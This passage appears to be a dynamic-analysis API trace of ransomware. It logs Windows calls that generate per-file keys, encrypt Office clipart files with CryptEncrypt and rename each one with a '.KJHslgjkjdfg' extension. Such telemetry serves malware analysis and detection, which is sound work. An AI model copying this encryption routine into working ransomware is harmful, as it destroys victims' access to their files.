Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.kjhslgjkjdfg")) returned 1 [0158.831] CloseHandle (hObject=0x114) returned 1 [0158.831] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0158.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.832] GetProcessHeap () returned 0x2a0000 [0158.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.832] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.832] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.832] GetProcessHeap () returned 0x2a0000 [0158.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.832] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.832] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.835] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.835] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.835] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x760, lpOverlapped=0x0) returned 1 [0158.835] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x760, dwBufLen=0x760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x760) returned 1 [0158.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.835] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x760, lpOverlapped=0x0) returned 1 [0158.835] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.835] SetEndOfFile (hFile=0x114) returned 1 [0158.837] GetProcessHeap () returned 0x2a0000 [0158.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.837] GetProcessHeap () returned 0x2a0000 [0158.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.kjhslgjkjdfg")) returned 1 [0158.838] CloseHandle (hObject=0x114) returned 1 [0158.838] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0158.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.839] GetProcessHeap () returned 0x2a0000 [0158.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.839] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.844] GetProcessHeap () returned 0x2a0000 [0158.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.844] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.844] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.845] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xed4, lpOverlapped=0x0) returned 1 [0158.845] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0, dwBufLen=0xee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0) returned 1 [0158.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.845] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xee0, lpOverlapped=0x0) returned 1 [0158.845] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.845] SetEndOfFile (hFile=0x114) returned 1 [0158.847] GetProcessHeap () returned 0x2a0000 [0158.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.847] GetProcessHeap () returned 0x2a0000 [0158.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.kjhslgjkjdfg")) returned 1 [0158.848] CloseHandle (hObject=0x114) returned 1 [0158.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0158.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.849] GetProcessHeap () returned 0x2a0000 [0158.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.849] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.851] GetProcessHeap () returned 0x2a0000 [0158.852] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.852] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.852] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.852] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e8, lpOverlapped=0x0) returned 1 [0158.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0) returned 1 [0158.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f0, lpOverlapped=0x0) returned 1 [0158.853] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.853] SetEndOfFile (hFile=0x114) returned 1 [0158.855] GetProcessHeap () returned 0x2a0000 [0158.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.855] GetProcessHeap () returned 0x2a0000 [0158.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.kjhslgjkjdfg")) returned 1 [0158.856] CloseHandle (hObject=0x114) returned 1 [0158.856] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0158.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.857] GetProcessHeap () returned 0x2a0000 [0158.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.857] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.859] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.859] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.859] GetProcessHeap () returned 0x2a0000 [0158.859] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.859] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.859] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.859] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.859] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.859] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.859] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x824, lpOverlapped=0x0) returned 1 [0158.860] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830, dwBufLen=0x830 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830) returned 1 [0158.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x830, lpOverlapped=0x0) returned 1 [0158.860] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.860] SetEndOfFile (hFile=0x114) returned 1 [0158.862] GetProcessHeap () returned 0x2a0000 [0158.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.862] GetProcessHeap () returned 0x2a0000 [0158.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.kjhslgjkjdfg")) returned 1 [0158.863] CloseHandle (hObject=0x114) returned 1 [0158.863] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0158.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.865] GetProcessHeap () returned 0x2a0000 [0158.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.865] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.865] WriteFile (in: 